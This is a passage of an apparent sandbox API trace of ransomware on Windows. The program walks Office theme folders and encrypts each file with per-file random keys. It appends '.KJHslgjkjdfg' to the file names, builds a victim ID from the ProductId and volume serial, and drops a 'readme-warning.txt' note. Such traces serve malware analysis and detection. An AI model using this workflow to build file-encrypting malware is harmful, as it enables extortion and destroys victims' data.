lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.705] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.706] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.706] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.706] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.706] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.706] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.706] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x249, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x249, lpOverlapped=0x0) returned 1 [0173.706] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x250, dwBufLen=0x250 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x250) returned 1 [0173.706] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.706] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x250, lpOverlapped=0x0) returned 1 [0173.706] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.706] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.706] SetEndOfFile (hFile=0x12c) returned 1 [0173.710] GetProcessHeap () returned 0x990000 [0173.710] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.710] GetProcessHeap () returned 0x990000 [0173.710] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf.kjhslgjkjdfg")) returned 1 [0173.718] CloseHandle (hObject=0x12c) returned 1 [0173.718] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0173.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.718] GetProcessHeap () returned 0x990000 [0173.719] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.719] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.719] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.719] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0173.722] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.722] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.722] GetProcessHeap () returned 0x990000 [0173.722] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.722] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0173.722] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.722] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0173.722] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.722] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.723] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.723] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.723] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.723] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.723] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.723] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.723] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x554, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x554, lpOverlapped=0x0) returned 1 [0173.723] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x560, dwBufLen=0x560 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x560) returned 1 [0173.723] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.723] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x560, lpOverlapped=0x0) returned 1 [0173.723] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.723] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.723] SetEndOfFile (hFile=0x12c) returned 1 [0173.726] GetProcessHeap () returned 0x990000 [0173.726] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.726] GetProcessHeap () returned 0x990000 [0173.726] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.kjhslgjkjdfg")) returned 1 [0173.731] CloseHandle (hObject=0x12c) returned 1 [0173.732] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0173.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.732] GetProcessHeap () returned 0x990000 [0173.732] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0173.732] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0173.732] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0173.732] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0173.736] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.736] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.736] GetProcessHeap () returned 0x990000 [0173.736] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.736] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0173.736] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.736] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0173.736] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0173.736] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0173.737] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0173.737] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0173.737] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0173.737] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0173.737] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0173.737] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.737] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2d35, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x2d35, lpOverlapped=0x0) returned 1 [0173.738] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2d40, dwBufLen=0x2d40 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2d40) returned 1 [0173.739] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.739] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x2d40, lpOverlapped=0x0) returned 1 [0173.739] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.739] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.739] SetEndOfFile (hFile=0x12c) returned 1 [0173.742] GetProcessHeap () returned 0x990000 [0173.742] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.742] GetProcessHeap () returned 0x990000 [0173.742] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0173.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0173.743] CloseHandle (hObject=0x12c) returned 1 [0173.745] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0173.745] GetProcessHeap () returned 0x990000 [0173.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0173.745] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.745] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0173.745] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.745] GetProcessHeap () returned 0x990000 [0173.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0173.745] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.745] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0173.745] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.745] GetProcessHeap () returned 0x990000 [0173.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0173.745] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.745] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0173.745] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.746] GetProcessHeap () returned 0x990000 [0173.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0173.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.746] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0173.746] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.746] GetProcessHeap () returned 0x990000 [0173.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0173.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.746] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0173.746] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.746] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0173.746] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0173.746] RegCloseKey (hKey=0x12c) returned 0x0 [0173.746] GetProcessHeap () returned 0x990000 [0173.746] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0173.746] GetProcessHeap () returned 0x990000 [0173.746] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0173.746] GetProcessHeap () returned 0x990000 [0173.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0173.747] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0173.747] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0173.747] CryptDestroyKey (hKey=0x9b6668) returned 1 [0173.747] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0173.747] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.747] GetProcessHeap () returned 0x990000 [0173.747] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0173.747] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0173.747] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0173.747] GetProcessHeap () returned 0x990000 [0173.747] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0173.747] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\readme-warning.txt") returned 82 [0173.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.748] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0173.749] CloseHandle (hObject=0x12c) returned 1 [0173.749] GetProcessHeap () returned 0x990000 [0173.749] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0173.749] GetProcessHeap () returned 0x990000 [0173.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0173.750] GetProcessHeap () returned 0x990000 [0173.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0173.750] GetProcessHeap () returned 0x990000 [0173.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0173.750] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0173.750] GetProcessHeap () returned 0x990000 [0173.750] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0173.750] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0173.750] GetProcessHeap () returned 0x990000 [0173.750] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x90) returned 0x9b0940 [0173.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0173.755] GetProcessHeap () returned 0x990000 [0173.755] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0173.755] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0173.756] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0173.756] GetProcessHeap () returned 0x990000 [0173.756] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x292) returned 0x9b1eb0 [0173.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 